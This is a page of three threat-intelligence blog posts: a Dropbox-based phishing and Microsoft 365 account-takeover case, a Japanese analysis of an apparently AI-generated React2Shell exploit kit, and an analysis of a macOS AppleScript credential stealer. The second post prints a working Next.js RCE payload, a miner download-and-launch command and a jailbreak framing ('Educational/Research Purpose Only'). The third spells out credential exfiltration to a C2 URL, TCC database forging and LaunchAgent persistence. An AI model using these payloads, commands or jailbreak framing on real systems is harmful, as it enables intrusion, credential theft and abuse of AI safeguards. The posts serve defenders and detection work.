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March 8, 2024

Malicious Use of Dropbox in Phishing Attacks

Understand the tactics of phishing attacks that exploit Dropbox and learn how to recognize and mitigate these emerging cybersecurity threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Ryan Traill
Analyst Content Lead
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08
Mar 2024

Evolving Phishing Attacks

While email has long been the vector of choice for carrying out phishing attacks, threat actors, and their tactics, techniques, and procedures (TTPs), are continually adapting and evolving to keep pace with the emergence of new technologies that represent new avenues to exploit. As previously discussed by the Darktrace analyst team, several novel threats relating to the abuse of commonly used services and platforms were observed throughout 2023, including the rise of QR Code Phishing and the use of Microsoft SharePoint and Teams in phishing campaigns.

Dropbox Phishing Attacks

It should, therefore, come as no surprise that the malicious use of other popular services has gained traction in recent years, including the cloud storage platform Dropbox.

With over 700 million registered users [1], Dropbox has established itself as a leading cloud storage service celebrated for its simplicity in file storage and sharing, but in doing so it has also inadvertently opened a new avenue for threat actors to exploit. By leveraging the legitimate infrastructure of Dropbox, threat actors are able to carry out a range of malicious activities, from convincing their targets to unknowingly download malware to revealing sensitive information like login credentials.

Darktrace Detection of Dropbox Phishing Attack

Darktrace detected a malicious attempt to use Dropbox in a phishing attack in January 2024, when employees of a Darktrace customer received a seemingly innocuous email from a legitimate Dropbox address. Unbeknownst to the employees, however, a malicious link had been embedded in the contents of the email that could have led to a widespread compromise of the customer’s Software-as-a-Service (SaaS) environment. Fortunately for this customer, Darktrace / EMAIL quickly identified the suspicious emails and took immediate actions to stop them from being opened. If an email was accessed by an employee, Darktrace / IDENTITY was able to recognize any suspicious activity on the customer’s SaaS platform and bring it to the immediate detection of their security team.

Attack overview

Initial infection  

On January 25, 2024, Darktrace / EMAIL observed an internal user on a customer’s SaaS environment receiving an inbound email from ‘no-reply@dropbox[.]com’, a legitimate email address used by the Dropbox file storage service.  Around the same time 15 other employees also received the same email.

The email itself contained a link that would lead a user to a PDF file hosted on Dropbox, that was seemingly named after a partner of the organization. Although the email and the Dropbox endpoint were both legitimate, Darktrace identified that the PDF file contained a suspicious link to a domain that had never previously been seen on the customer’s environment, ‘mmv-security[.]top’.  

Darktrace understood that despite being sent from a legitimate service, the email’s initiator had never previously corresponded with anyone at the organization and therefore treated it with suspicion. This tactic, whereby a legitimate service sends an automated email using a fixed address, such as ‘no-reply@dropbox[.]com’, is often employed by threat actors attempting to convince SaaS users to follow a malicious link.

As there is very little to distinguish between malicious or benign emails from these types of services, they can often evade the detection of traditional email security tools and lead to disruptive account takeovers.

As a result of this detection, Darktrace / EMAIL immediately held the email, stopping it from landing in the employee’s inbox and ensuring the suspicious domain could not be visited. Open-source intelligence (OSINT) sources revealed that this suspicious domain was, in fact, a newly created endpoint that had been reported for links to phishing by multiple security vendors [2].

A few days later on January 29, the user received another legitimate email from ‘no-reply@dropbox[.]com’ that served as a reminder to open the previously shared PDF file. This time, however, Darktrace / EMAIL moved the email to the user’s junk file and applied a lock link action to prevent the user from directly following a potentially malicious link.

Figure 1: Anomaly indicators associated with the suspicious emails sent by ’no.reply@dropbox[.]com’, and the corresponding actions performed by Darktrace / EMAIL

Unfortunately for the customer in this case, their employee went on to open the suspicious email and follow the link to the PDF file, despite Darktrace having previously locked it.

Figure 2: Confirmation that the SaaS user read the suspicious email and followed the link to the PDF file hosted on Dropbox, despite it being junked and link locked.

Darktrace / NETWORK subsequently identified that the internal device associated with this user connected to the malicious endpoint, ‘mmv-security[.]top’, a couple of days later.

Further investigation into this suspicious domain revealed that it led to a fake Microsoft 365 login page, designed to harvest the credentials of legitimate SaaS account holders. By masquerading as a trusted organization, like Microsoft, these credential harvesters are more likely to appear trustworthy to their targets, and therefore increase the likelihood of stealing privileged SaaS account credentials.  

Figure 3: The fake Microsoft login page that the user was directed to after clicking the link in the PDF file.

Suspicious SaaS activity

In the days following the initial infection, Darktrace / IDENTITY began to observe a string of suspicious SaaS activity being performed by the now compromised Microsoft 365 account.

Beginning on January 31, Darktrace observed a number of suspicious SaaS logins from multiple unusual locations that had never previously accessed the account, including 73.95.165[.]113. Then on February 1, Darktrace detected unusual logins from the endpoints 194.32.120[.]40 and 185.192.70[.]239, both of which were associated with ExpressVPN indicating that threat actors may have been using a virtual private network (VPN) to mask their true location.

FIgure 4: Graph Showing several unusual logins from different locations observed by Darktrace/Apps on the affected SaaS account.

Interestingly, the threat actors observed during these logins appeared to use a valid multi-factor authentication (MFA) token, indicating that they had successfully bypassed the customer’s MFA policy. In this case, it appears likely that the employee had unknowingly provided the attackers with an MFA token or unintentionally approved a login verification request. By using valid tokens and meeting the necessary MFA requirements, threat actors are often able to remain undetected by traditional security tools that view MFA as the silver bullet. However, Darktrace’s anomaly-based approach to threat detection allows it to quickly identify unexpected activity on a device or SaaS account, even if it occurs with legitimate credentials and successfully passed authentication requirements, and bring it to the attention of the customer’s security team.

Shortly after, Darktrace observed an additional login to the SaaS account from another unusual location, 87.117.225[.]155, this time seemingly using the HideMyAss (HMA) VPN service. Following this unusual login, the actor was seen creating a new email rule on the compromised Outlook account. The new rule, named ‘….’, was intended to immediately move any emails from the organization’s accounts team directly to the ‘Conversation History’ mailbox folder. This is a tactic often employed by threat actors during phishing campaigns to ensure that their malicious emails (and potential responses to them) are automatically moved to less commonly visited mailbox folders in order to remain undetected on target networks. Furthermore, by giving this new email rule a generic name, like ‘….’ it is less likely to draw the attention of the legitimate account holder or the organizations security team.

Following this, Darktrace / EMAIL observed the actor sending updated versions of emails that had previously been sent by the legitimate account holder, with subject lines containing language like “Incorrect contract” and “Requires Urgent Review”, likely in an attempt to illicit some kind of follow-up action from the intended recipient.  This likely represented threat actors using the compromised account to send further malicious emails to the organization’s accounts team in order to infect additional accounts across the customer’s SaaS environment.

Unfortunately, Darktrace's Autonomous Response was not deployed in the customer’s SaaS environment in this instance, meaning that the aforementioned malicious activity did not lead to any mitigative actions to contain the compromise. Had RESPOND been enabled in autonomous response mode at the time of the attack, it would have quickly moved to log out and disable the suspicious actor as soon as they had logged into the SaaS environment from an unusual location, effectively shutting down this account takeover attempt at the earliest opportunity.

Nevertheless, Darktrace / EMAIL's swift identification and response to the suspicious phishing emails, coupled with Darktrace / IDENTITY's detection of the unusual SaaS activity, allowed the customer’s security team to quickly identify the offending SaaS actor and take the account offline before the attack could escalate further

Conclusion

As organizations across the world continue to adopt third-party solutions like Dropbox into their day-to-day business operations, threat actors will, in turn, continue to seek ways to exploit these and add them to their arsenal. As illustrated in this example, it is relatively simple for attackers to abuse these legitimate services for malicious purposes, all while evading detection by endpoint users and security teams alike.

By leveraging these commonly used platforms, malicious actors are able to carry out disruptive cyber-attacks, like phishing campaigns, by taking advantage of legitimate, and seemingly trustworthy, infrastructure to host malicious files or links, rather than relying on their own infrastructure. While this tactic may bypass traditional security measures, Darktrace’s Self-Learning AI enables it to recognize unusual senders within an organization’s email environment, even if the email itself seems to have come from a legitimate source, and prevent them from landing in the target inbox. In the event that a SaaS account does become compromised, Darktrace is able to identify unusual login locations and suspicious SaaS activities and bring them to the attention of the customer for remediation.

In addition to the prompt identification of emerging threats, Darktrace's Autonomous Response is uniquely placed to take swift autonomous action against any suspicious activity detected within a customer’s SaaS environment, effectively containing any account takeover attempts in the first instance.

Credit to Ryan Traill, Threat Content Lead, Emily Megan Lim, Cyber Security Analyst

Appendices

Darktrace Model Detections  

- Model Breach: SaaS / Access::Unusual External Source for SaaS Credential Use

- Model Breach: SaaS / Unusual Activity::Multiple Unusual External Sources For SaaS Credential

- Model Breach: SaaS / Access::Unusual External Source for SaaS Credential Use

- Model Breach: SaaS / Access::Unusual External Source for SaaS Credential Use

- Model Breach: SaaS / Unusual Activity::Multiple Unusual SaaS Activities

- Model Breach: SaaS / Unusual Activity::Unusual MFA Auth and SaaS Activity

- Model Breach: SaaS / Compromise::Unusual Login and New Email Rule

- Model Breach: SaaS / Compliance::Anomalous New Email Rule

- Model Breach: SaaS / Compliance::New Email Rule

- Model Breach: SaaS / Compromise::SaaS Anomaly Following Anomalous Login

- Model Breach: Device / Suspicious Domain

List of Indicators of Compromise (IoCs)

Domain IoC

mmv-security[.]top’ - Credential Harvesting Endpoint

IP Address

73.95.165[.]113 - Unusual Login Endpoint

194.32.120[.]40 - Unusual Login Endpoint

87.117.225[.]155 - Unusual Login Endpoint

MITRE ATT&CK Mapping

DEFENSE EVASION, PERSISTENCE, PRIVILEGE ESCALATION, INITIAL ACCESS

T1078.004 - Cloud Accounts

DISCOVERY

T1538 - Cloud Service Dashboard

RESOURCE DEVELOPMENT

T1586 - Compromise Accounts

CREDENTIAL ACCESS

T1539 - Steal Web Session Cookie

PERSISTENCE

T1137 - Outlook Rules

INITIAL ACCESS

T156.002 Spearphishing Link

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Ryan Traill
Analyst Content Lead

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February 11, 2026

AI/LLMで生成されたマルウェアを使ったReact2Shellエクスプロイト

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots” と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

最近観測されたダークトレースのCloudypots環境に対する侵入インシデントは、React2Shell 脆弱性をエクスプロイトする完全にAI生成のマルウェアを明らかにしました、AI 支援ソフトウェア開発(“vibecoding”とも呼ばれます)が広く普及するにつれ、攻撃者はますます大規模言語モデルを使って迅速にツールを開発するようになっています。このインシデントは状況の大きな変化を表しています。AIによって、今では低スキルのオペレーターであっても効果的なエクスプロイトのフレームワークを短期間に作りだすことが可能となっているのです。このブログでは、攻撃チェーンを精査し、AI生成ペイロードを分析し、この変化が防御者にとって何を意味するかを解説します。

初期アクセス

ダークトレースのdockerハニーポットに対して侵入が観測されました。これは意図的にDockerデーモンを認証なしでインターネットに露出させています。この設定により任意の攻撃者がデーモンを発見しDocker APIを通じてコンテナを作成することが可能です。 

攻撃者は“python-metrics-collector”という名前のコンテナを生成しました。これにはcurl、wget、python 3を含む必要ツールを最初にインストールするスタートアップコマンドが設定されていました。

Container spawned with the name ‘python-metrics-collector’.
図1:‘python-metrics-collector’ という名前で生成されたコンテナ

次に、必要な一連のpythonパッケージを次からダウンロードします

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

最後に次からpythonスクリプトをダウンロードして実行します

  • hxxps://smplu[.]link/dockerzero.

このリンクは“hackedyoulol”がホストするGitHub Gistにリダイレクトされますが、このアカウントは本ブログ執筆時点でGitHubから利用停止措置を受けています。

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

注目すべき点は、dockerを狙ったマルウェアであるにもかかわらずこのスクリプトにdockerスプレッダーが含まれていなかったことです。これは、感染の拡大が別に中央管理されたスプレッダーサーバーで処理されている可能性が高いことを示しています。

展開されたコンポーネントと実行チェーン

ダウンロードされたPythonペイロードは侵入のための中心的な実行コンポーネントでした。マルウェア自体が難読化設計となっており、エクスプロイトスクリプトと拡散メカニズムの間でこの難読化が強化されていました。dockerマルウェアには通常、自身のスプレッダーロジックが含まれているため、これが欠けているということは攻撃者が拡散専用のツールをリモートで管理し、実行していることを示唆しています。

スクリプトは複数行のコメントで始まっています:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

これは非常に多くのことを語っています。当社が分析したサンプルのほとんどではファイル内にこのレベルのコメントは含まれていません。多くの場合それらは分析を阻害するために意図的に理解しにくく設計されています。人間のオペレーターが短時間に記述したスクリプトはたいていの場合わかりやすさよりもスピードと機能を優先しています。一方、LLMはすべてのコードに対して詳しくコメントを記録するよう設計されており、このサンプルにも繰り返しこのパターンが表れています。 さらに、AIはそのセーフガードの一環としてマルウェアの生成を拒否します。

さらに、“Educational/ResearchPurpose Only(教育/研究目的専用)” というフレーズが含まれていることは、攻撃者が悪意ある要求を教育目的と偽ることによって、AIモデルのジェイルブレイクを行ったことを示唆しています。

さらにスクリプトの一部をAI 検知ソフトウェアでテストしたところ、その出力結果はコードがおそらくLLMによって生成されているということを示していました。

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
図2:GPTZeroによるAI検知の結果は、スクリプトがAIモデルを使って生成された可能性を示しています。

スクリプトはよくできたReact2Shellエクスプロイトツールキットであり、リモートコード実行を行いXMRig (Monero) 暗号通貨マイニングマルウェアを展開しようとするものです。 IP生成ループを使って標的を見つけだし、以下を含むエクスプロイトリクエストを実行します:

  • 念入りに構成されたNext.jsサーバーコンポーネントペイロード
  • 実行を強制しコマンド出力を明らかにするよう設計されたチャンク
  • 任意のシェルコマンドを実行する子プロセス起動

  def execute_rce_command(base_url, command, timeout=120):  
   """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
   DO NOT MODIFY THIS FUNCTION
   Returns: (success, output)  
   """  
try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

この関数は最初 ‘whoami’を使って起動され、ホストが脆弱かどうかを判断し、次にwgetを使ってGitHubレポジトリからXMRigをダウンロードし、設定されたマイニングツールとウォレットアドレスを指定してこれを起動します。

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

多くの攻撃者が気づいていないことは、Moneroでは不透明なブロックチェーン(トランザクションを追跡できずウォレット残高が閲覧できない)が使われているものの、supportxmr等のマイニングプールは各ウォレットのアドレスに対する統計情報を公開していることです。これによりキャンペーンの成功と攻撃者の利益を追跡することは簡単に行えます。

 The supportxmr mining pool overview for the attackers wallet address
図3:supportxmrマイニングツールに表示される攻撃者のウォレットアドレス概要

この情報に基づき、この攻撃者はキャンペーン開始以来0.015 XMRを得ましたがこれは本ブログ執筆時点で5ポンド程度です。1日あたり、攻撃者は0.004 XMRを生成しており、これは1.33ポンドの価値です。ワーカー数は91であり、91のホストがこのサンプルに感染していることを意味しています。

まとめ

攻撃者が生成した金額はこのケースでは比較的少額であり、暗号通貨マイニングは新しいテクニックとは言えませんが、このキャンペーンはAIベースのLLMがサイバー犯罪を容易にした実例です。モデルとの1度のプロンプトセッションで、この攻撃者は機能するエクスプロイトフレームワークを生成し、90以上のホストを侵害することができています。これはAIベースのLLMによってサイバー犯罪がこれまで以上に簡単になったことを実証しており、攻撃者にとってのAIのオペレーション上の価値は過小評価されるべきではないことを示しています。

CISOおよびSOCのリーダーは、このインシデントを近い将来起こり得ることとして想定すべきです。脅威アクターは、今やオンデマンドでカスタムマルウェアを生成し、エクスプロイトを即座に改変し、侵害のすべての段階を自動化することができます。防御者は、迅速なパッチ適用、継続的なアタックサーフェスの監視、およびビヘイビアベースの検知アプローチを優先的に進める必要があります。AI 生成されたマルウェアはもはや理論上のものではなく、実際に運用されており、スケーラブルで、誰でもアクセスできるものなのです。

アナリストのコメント

ダウンロードされたスクリプトにDockerスプレッダーが含まれていないように見えることが注目に値します。これはこのマルウェアが感染したホストから他の被害者に複製されないことを意味しています。これはダークトレースの調査チームが分析した他のサンプルと比較して、Dockerマルウェアではあまりないことです。これは拡散のための別のスクリプトがあることを示しており、おそらく攻撃者が中央のスプレッダーサーバーから展開するものと思われます。この推論は接続を開始したIP、49[.]36.33.11が、インドの一般住宅用ISPに登録されていることからも成り立ちます。攻撃者が住宅用プロキシサーバーを使って形跡を隠している可能性もありますが、彼らの自宅のコンピューターから拡散用スクリプトを実行していることも考えられます。しかしこれは確認済みのアトリビューションと理解するべきではありません。

担当:Nathaniel Bill (Malware Research Engineer)、Nathaniel Jones (Nathaniel Jones, VP Threat Research | Field CISO AISecurity)

侵害インジケータ(IoC)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

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About the author
Nathaniel Bill
Malware Research Engineer

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February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

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Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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About the author
Tara Gould
Malware Research Lead
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